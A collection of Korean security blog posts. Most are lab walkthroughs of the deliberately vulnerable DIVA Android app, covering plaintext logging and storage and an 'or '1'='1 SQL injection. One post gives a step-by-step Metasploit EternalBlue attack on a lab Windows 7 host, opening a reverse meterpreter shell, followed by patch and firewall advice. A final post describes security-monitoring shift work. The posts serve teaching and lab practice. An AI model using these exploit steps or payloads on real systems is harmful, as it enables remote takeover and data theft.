반응형
SMALL

<그림 1-1 로그 캣 확인>

먼저 cmd 창에 adb logcat을 입력해 DIVA 앱을 실행함으로써 어떤 로그 정보들이 전송되고 있는지 확인한다.

 

<그림 1-2 입력값 검증>

DIVA 앱을 실행하고 7.INPUT VALIDATION ISSUES - PART 1을 클릭하고 diva를 입력하면 그림 1-2와 같이 diva라는 사용자의 계정 정보 및 신용 카드 정보가 앱에 그대로 노출된다.

 

<그림 1-3 소스 코드>

SQLInjectionActivity 클래스를 보면 SQL 쿼리를 볼 수 있는데 "SELECT * FROM sqliuser WHERE user = \'"사용자 입력"\'" 쿼리를 사용해서 검색을 한다. SQL 인젝션에 대한 대응 방안이 전혀 반영되지 않은 소스 코드라고 판단할 수 있다.

<그림 1-4 SQL 인젝션 공격>

'or '1'='1을 입력해 SQL 인젝션 공격을 진행하면 DB에 저장되어 있는 사용자의 계정 정보, 신용카드 정보들이 앱 화면에 그대로 노출됨을 확인할 수 있다.

 

<그림 1-5 로그 캣 정보>

로그 캣 전송 정보들을 확인해보면 SQL 인젝션 공격이 그대로 들어가 실행되고 있음도 같이 확인할 수 있다.

반응형
LIST
블로그 이미지

만년필석사

,
반응형
SMALL

<그림 1-1 계정 입력>

DIVA 앱을 실행하고 Insecure Data Storage - 4를 클릭하면 계정 정보 입력란이 나오는데 아이디, 패스워드를 입력하고 SAVE 버튼을 누르면 계정이 앱의 외부 저장소로 전송된다.

 

<그림 1-2 소스 코드>

소스 코드를 보면 그림 1-1에서 입력된 계정 정보를 외부저장소 위치에 .uinfo.txt이라는 파일을 생성해 저장하고 있음을 확인할 수 있다. 파일명 앞에 .을 붙이면 숨김 파일로 인식되서 탐색기에서 바로 보여지지 않기 때문에 리눅스 상에서 파일을 확인할 땐 ls -al 명령어를 사용해야 한다. 또한 파일에 계정 정보를 저장할 때 따로 암호화 시키는 소스코드는 확인할 수 없어 평문으로 저장되고 있음을 추측할 수 있다. 

 

<그림 1-3 .uinfo.txt>

 adb shell을 입력해 안드로이드 내에 접속 후 cd /sdcard 명령어를 입력해 외부 저장소로 이동해 ls -al을 입력해 목록을 확인하면 .uinfo.txt를 발견할 수 있다. 이 파일에 계정 정보가 담겨 있다.

 

<그림 1-4 계정 정보>

cat .uinfo.txt 명령어를 입력해 해당 파일 내의 내용을 보면 그림 1-1에서 입력했던 계정 정보를 확인할 수 있다. 계정 정보가 저장될 때 암호화 되지 않고 평문으로 저장되서 취약점이 발견되었다고 볼 수 있다.

반응형
LIST
블로그 이미지

만년필석사

,
반응형
SMALL

<그림 1-1 계정 입력>

DIVA 앱을 실행하고 Insecure Data Storage - 3를 클릭하면 계정 정보 입력란이 나오는데 아이디, 패스워드를 입력하고 SAVE 버튼을 누르면 계정이 앱의 내부 저장소로 전송된다.

 

<그림 1-2 소스 코드>

그림 1-2의 소스코드를 보면 tmp 폴더에 uinfo로 시작하는 파일 명으로 파일이 생성되는데 이 파일 안에 그림 1-1에서 보낸 계정 정보들이 담긴다는 것을 추측할 수 있다. 또한 소스코드에서 따로 암호화 처리를 하는 코드는 없어 계정 정보가 저장될 때 암호화 되지 않고 그대로 저장된다는 것도 추측해볼 수 있다.

<그림 1-3 파일 생성>

adb shell을 입력해 안드로이드 쉘로 들어간 후 cd /data/data/jakhar.aseem.diva를 입력해 해당 앱 내부로 들어가서 ls -al을 입력해 목록을 확인하면 uinfo-502312121tmp라는 파일이 있는데 이 파일에 그림 1-1에서 입력했던 계정 정보들이 저장된다.

 

<그림 1-4 계정 정보>

cat uinfo-502312121tmp 명령어를 입력해 파일 내의 내용을 확인하면 그림 1-1에서 입력했던 계정 정보들을 확인할 수 있다. 이 때 파일에 암호화되지 않고 평문으로 전송된 것이 취약점이라고 판단할 수 있다.

반응형
LIST
블로그 이미지

만년필석사

,
반응형
SMALL

<그림 1-1 Insecure Data Storage - 2> 

DIVA 앱을 실행하고 Insecure Data Storage - 2를 선택하면 그림 1-1과 같이 계정 정보 입력 창이 나온다. 아이디, 패스워드를 넣고 Save 버튼을 누르면 계정 정보들이 앱의 내부 저장소에 저장된다.

 

<그림 1-2 소스 코드>

해당 앱의 소스 코드를 확인하면 Databases 폴더의 ids2 파일에 계정 정보를 전송하고 있음을 볼 수 있다. 현재 소스 코드를 보면 데이터베이스에 계정정보가 저장될 때 아무런 암호화 조치도 없이 그대로 저장되고 있음을 확인할 수 있다.

 

<그림 1-3 내부 저장소>

adb shell을 실행해 cd /data/data/jakhar.aseem.diva 폴더에 접근해 목록을 확인하면 중요 정보들이 저장되는 폴더들을 확인할 수 있다. 그림 1-2에서 본 것과 같이 Databases 폴더에 입력한 값들이 저장되고 있기 때문에 cd databases를 입력해 databases 폴더에 접근한다. databases 폴더에 접근하면 ids2 파일이 있는데 ids2 파일에 그림 1-1에서 입력한 계정 정보가 저장되고 있는 것이다.

 

<그림 1-4 SQlite 접근>

데이터베이스 정보를 확인하기 위해 SQlite를 실행한다. 리눅스 환경에서도 실행이 가능하기 때문에 sqlite3 ids2를 입력한다. 이 때 ids2는 정보가 담긴 파일이다. sqlite3가 실행되면 .tables를 입력해 테이블 정보들을 확인한다. 테이블 정보를 보면 myuser이 있는데 이 테이블에 접근한다.

<그림 1-5 계정 정보>

myuser 파일을 덤프해서 확인해보면 데이터베이스에 그림 1-1에 입력했던 계정 정보들이 들어가는 것을 확인할 수 있다. 하지만 여기서 취약점은 암호화 되지 않은 상태로 계정 정보가 데이터베이스에 저장되고 있다는 것이다. 

반응형
LIST
블로그 이미지

만년필석사

,
반응형
SMALL

<그림 1-1 Insecure Data Storage - 1>

DIVA 앱에서 3번째인 Insecure Data Storage - 1을 선택하면 그림 1-1과 같이 아이디, 패스워드를 입력하는 화면이 나오는데 여기서 아이디, 패스워드를 입력하면 앱의 내부 저장소에 중요 정보들이 저장된다.

<그림 1-2 내부 저장소>

윈도우 cmd 창에서 adb shell을 입력해서 nox의 내부로 접근한다. cd /data/data/를 입력 후 ls 명령어를 입력하면 현재 설치되어 있는 앱의 정보가 담겨있는 목록들이 나오는데 여기서 jarhar.aseem.diva에 접근한다. 마찬가지로 cd jarhar.aseem.diva를 입력한다.

 

<그림 1-3 내부 저장소>

 jarhar.aseem.diva를 입력한 후 ls -al 명령어를 입력하면 해당 목록들이 나오는데 shared_prefs는 중요 정보를 저장해 놓는 장소다. cd shared_prefs를 입력해서 해당 폴더에 접근한다.

<그림 1-4 중요 정보 파일>

shared_prefs에 접근하면 jarkhar.aseem.diva_preferences.xml 파일이 나오는데 이 파일에 그림 1-1에서 입력했던 아이디, 패스워드 정보가 저장되어 있다.

<그림 1-5 중요 정보>

cat 명령어를 사용해서 해당 파일을 열면 그림 1-1에서 입력했던 계정 정보가 담겨 있다는 것을 볼 수 있다. 여기서 중요한건 계정 정보가 암호화 되지 않고 평문으로 노출되어 있다는 점에서 취약점이라고 판단할 수 있다.

 

<그림 1-5 소스 코드>

Jadx-Gui 도구를 사용해 해당 앱을 디컴파일해서 열면 InsecureDataStorage | Activity 항목이 있는데 해당 항목 소스코드를 보면 계정 정보를 보낼 때 어떠한 암호화 처리가 되지 않은 채 그대로 계정 정보를 전송하고 있다는 것을 볼 수 있다. 

반응형
LIST
블로그 이미지

만년필석사

,
반응형
SMALL

안드로이드 앱 취약점 중 하나인 안전하지 않은 로깅은 Logcat을 통해 앱 실행 Log들이 보여질 때 아이디, 비밀번호 등과 같은 중요 정보들이 평문으로 노출되어 2차 피해를 입을 수 있다.

 

<그림 1-1 DIVA 앱>

안드로이드에 DIVA 앱을 설치하고 1. Insecure Logging을 클릭한다.

 

<그림 1-2 특정 값 입력>

임의의 카드 비밀번호를 입력하고 Check out을 누르면 에러메시지가 발생하게 된다. 현재 그림 1-2에선 나와 있지 않지만 임의의 번호를 입력하고 Check out을 누르면 에러메시지가 발생한다. 에러메시지가 발생하고 adb logcat을 통해 Logcat 정보를 보면 된다.

 

<그림 1-3 Logcat 정보>

adb logcat을 입력해 Logcat 정보들을 보면 그림 1-2에서 전송했었던 123123이 난독화 되지 않고 평문으로 전송되고 있음을 확인할 수 있다. 

 

<그림 1-4 jadx-gui>

Jadx-gui 디컴파일 도구를 활용해 Diva 앱의 소스코드를 진단해본다. 현재 취약점이 발생되는 곳은 LogActivity쪽인데 전송되는 로그 정보 코드를 살펴보면 어떠한 시큐어코딩도 되지 않은채 사용자가 입력한 값이 그대로 전송되는 취약점이 발생하게 되는 것이다. 대응 방안은 이 코드 자체를 시큐어코딩을 하거나 삭제 하는 것이다.

반응형
LIST
블로그 이미지

만년필석사

,
반응형
SMALL

이터널블루는 Shadow Brokers 해킹 그룹에 의해 유출된 미국 국가 안보국의 해킹 도구 중 하나다. 윈도우가 설치된 시스템에 파일 공유, 원격 코드 실행, 프린트 공유 등을 목적으로 한 SMB 프로토콜 원격코드 실행 취약점(MS17-010)을 이용한다. 또한 2017년 5월 12일에는 전 세계 워너크라이 랜섬웨어 공격에도 이용되기도 했다. SMB 프로토콜은 TCP 포트 445에서 실행된다.

 

1. 이터널 블루 설치

그림 1-1 이터널 블루 설치

 

칼리 리눅스를 실행하고 git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git 명령어를 입력하고 이터널 블루를 설치한다.

 

그림 1-2 설치 완료

 

이터널 블루가 설치되면 Eternalblue-Doublepulsar-Metasploit 폴더가 생기고 Eternalblue-Doublepulsar-Metasploit 폴더 안을 보면eternalblue-doublepulsar.rb라는 루비로 만들어진 파일이 있다는 것을 확인할 수 있다.

 

그림 1-3 eternalblue-doublepulsar.rb 이동

이제 eternalblue-doublepulsar.rb 파일을 복사해서 메타스플로잇 프레임워크에 추가한다. cp eternalblue_doublepulsar.rb /usr/share/Metasploit-framework/modules/exploits/windows/smb/ 명령어를 입력하게 되면 eternalblue_doublepulsar.rb의 복사된 파일이 해당 경로의 메타스플로잇 프레임워크에 추가된다.

 

2. 취약점 실습 환경 구성

사용 환경

OS 및 IP 주소

공격자 PC

Kali-linux 2019.02

IP 주소: 192.168.171.166

희생자 PC

Window 7 x64

IP 주소: 192.168.171.167

 

3. 취약점 공격 수행

그림 3-1 nmap 실행

 

nmap을 실행해 window 7의 smb 포트(445/tcp microsoft-ds)가 열려 있는지 확인한다. TCP half open 스캔 결과 희생자 PC(window 7)에 smb 포트가 열려있다는 것을 확인할 수 있다.

그림 3-2 메타스플로잇 실행

공격자 PC인 칼리리눅스에서 공격을 위해 메타스플로잇을 실행한다. postgresql을 실행하고 msfconsole 명령어를 입력하면 메타스플로잇이 실행된다.

그림 3-4 smb_ms17_010 모듈 실행

smb 취약점을 확인하기 위해 smb_ms17_010 모듈을 실행한다. use auxiliary/scanner/smb/smb_ms17_010을 입력하면 모듈 실행이 가능하며 show options 명령어를 입력하면 그에 따른 옵션들의 확인이 가능하다.

 

그림 3-5 smb 취약점 여부 확인

smb_ms17_010 모듈이 실행된 상태에서 희생자 PC의 smb 취약점 여부를 확인하기 위해 희생자 PC의 IP를 set하고 run 명령어를 입력해 실행한다. run 명령어 실행 결과 현재 희생자 PC에는 MS17-010 취약점이 있다고 메시지가 나오게 된다. 반드시 그림 3-5와 같이 취약점이 생겨야 공격이 가능하기 때문에 환경 설정이 중요하다.

 

그림 3-6 이터널블루-더블펄서 모듈 실행

이제 exploit을 위해 이터널블루-더블펄서 모듈을 실행한다. use exploit/windows/smb/eternalblue-doublepulsar 명령어를 입력해 이터널블루-더블펄서를 실행한 후 show options를 입력해 해당 모듈의 옵션들을 확인해준다.

그림 3-7 옵션 지정

이터널블루-더블펄서 모듈을 실행하고 exploit을 위해 각각의 옵션을 지정한다. doublepulsarpath, eternalbluepath는 기본적으로 설정되어 있기 때문에 그림 3-7처럼 그대로 두고 다른 옵션을 지정하면 된다. 사용되는 명령어는 다음과 같다.

명령어 정의
set processinject lsass.exe 주입할 프로세스 파일 지정, x64는 lsass.exe 사용
set rhost IP 주소 공격대상 IP 지정
set targetArchitecture x64 공격대상 아키텍쳐 지정
set target 8 공격 대상 OS 환경 지정
set payload windows/x64/meterpreter/reverse_tcp 페이로드 생성

 

그림 3-8 공격 실행

payload 옵션에서 lhost를 지정한다. lhost는 공격자의 IP를 지정하면 되고 지정된 후 exploit을 실행한다. 공격이 성공적으로 실행되면 그림 3-8과 같이 Pwned! Eternalblue success! 메시지가 나오면서 Meterpreter 세션을 open하면서 희생자 PC와 연결된다. 여기서 한가지 변수가 있을 수 있는데 /root/.wine/drive_c/와 관련해서 에러가 발생할 수 있는데 이 땐 root에 .wine 이름으로 폴더를 만들고 .wine 폴더 안에 drive_c 이름으로 폴더를 만들고 다시 exploit을 실행하면 에러 없이 공격이 가능해진다.

 

그림 3-9 희생자 PC 제어

meterpreter 세션이 연결되고 희생자 PC의 제어가 가능하다. sysinfo 명령어를 실행하면 현재 희생자 PC의 환경, 아키텍쳐, 컴퓨터 이름 등을 확인할 수 있고 dir 명령어를 입력해 실행하면 현재 컴퓨터 안에 있는 파일들이 어떤게 있는지 확인이 가능하다. 만약 여기에 중요 파일이 있다면 2차적인 피해가 일어날 수 있다.

그림 3-10 스크린 샷

이번엔 screenshot 명령어를 사용해서 희생자 PC를 캡쳐한 결과다. 이렇듯 smb 포트 취약점 하나만으로도 여러가지 피해가 발생할 수 있다.

 

4. 보안 대책

- Window 7 이상의 운영체제로 버전을 업그레이드하고 최신 보안 패치를 적용한다.

- 네트워크 방화벽이나 window 방화벽을 활용해서 SMB 관련 포트 차단(방화벽 설정을 활용해 SMB 포트 비활성화)

반응형
LIST
블로그 이미지

만년필석사

,
반응형
SMALL

보안관제는 장점도 있지만 고충도 없지 않다. 보안관제는 업무 특성상 24시간, 365시간 늘 보안센터의 불빛은 켜져 있다. 이런 이유로 교대근무는 필수적인데 늘 주,야가 수시로 바뀌기 때문에 건강관리가 쉽지 않다. 교대근무자의 가장 힘든점은 수면 패턴이 바뀌게 되는데 비번이 있더라도 새벽에 잠을 잘 못자는 경우도 많이 발생한다. 이런 이유로 늘 몸이 지치고 위장병과 같은 소화기계 질환도 발생하는 경우도 있다. 그래서 필자는 이런 수면 패턴 관리 때문에 야간근무가 끝나고 오는 날은 4시간정도만 잠을 자고 활동을 한다. 공부를 하던지 운동을 하던지 계속 활동을 하게 되면 밤에 다시 졸음이 쏟아져 금세 패턴을 되찾고 수면 장애에 시달리지 않게 된다. 주변 지인들도 이런 방법으로 패턴관리를 하고 있고 5개월 째 보안관제를 하면서 수면 장애에 한번도 시달려 본 적은 없다. 대부분 교대근무자들이 수면장애에 시달려 소화기계 질환이 많이 발생하는데 확실히 잠을 안자면 소화기계질환에 시달릴 가능성이 크기 때문에 패턴관리가 무엇보다 중요하다. 두번째는 보안관제 업무 자체가 굉장히 여러가지 분야를 많이 하기 때문에 늘 일이 바쁘다. 물론 이건 사이트나 원격지에 따라 많이 다르겠지만 기본적으로 ips,ddx,waf 등과 같은 보안장비들을 만지고 네트워크, 시스템에 대한 기본 지식을 바탕으로 수많은 공격들을 처리해야 하기 때문에 빠른 이벤트 처리와 정오탐 판별은 기본 전제조건으로 따라오게 된다. 기존조에게 그날 있었던 이슈들과 어떤 작업을 했는지, 이어서 해야 할게 무엇인지 등을 인수인계 받는 순간부터 전쟁이 시작된다. 수많은 이벤트들이 올라오고 경보 대응을 해야 하고 그야말로 시간이 "순삭"이 된다. 정신없이 올라오는 이벤트들의 정오탐을 판별하고 부가적인 작업들을 하다보면 오전이 그냥가고 오후가 그냥가게 된다. 그만큼 해야할 일의 범위가 많이 넓은만큼 일이 많고 힘들다. 필자도 처음에 보안관제조로 투입되고 일을 시작했을 때 그야말로 "멘붕"이었다. 생각했던것보다 어렵고 만만치 않았다. 정오탐 판별도 빨리빨리 되지 않아 계속 애를 먹었다. 5개월차가 된 지금은 꽤 빨라지긴 했지만 여전히 새롭게 진화된 공격이 들어올때마다 늘 긴장을 안할 수가 없게 된다. 이벤트 분석이 밀리기 시작하면 한도끝도 없기 때문에 빠른 판단과 대응 능력은 기본 전제조건으로 깔리게 된다. 세번째는 원하는 날짜에 쉬지 못한다는 점이다. 보안관제인원들이 힘들어하는 점은 주말, 공휴일, 명절이 전혀 없다는 것이다. 남들 다 쉴 때 못쉬고 나와서 늘 보안센터를 지켜야하기 때문에 사명감으로 일해야 하는 분야이기도 하다. 스케줄 근무다 보니 휴가를 써야 하는데 본인 맘대로 쓰지 못하는 것도 관제사들의 고충이기도 하지만 한번 쓰게 되면 주간,야간근무 한번씩만 빼줘도 약 7일정도를 쉴 수 있게 된다. 이렇듯 보안관제의 장점도 있지만 고충들도 만만치는 않다. 하지만 앞 글에서 설명했듯 이런 고충들을 견디고 보안관제 경력 2년차만 되도 본인이 할 수 있는 보안 파트가 더 많아지고 본인이 원하는 회사에 갈 확률도 많이 높아진다. 그리고 보안관제 업무를 하면서 사람들과 협업하는 방법 등 배우고 느끼는 점이 굉장히 많기 때문에 이렇게 바쁘게 지내고 힘든만큼 나중엔 다 보상받게 되고 급속도로 성장한 나 자신을 발견할 수 있을 것이다.

반응형
LIST
블로그 이미지

만년필석사

,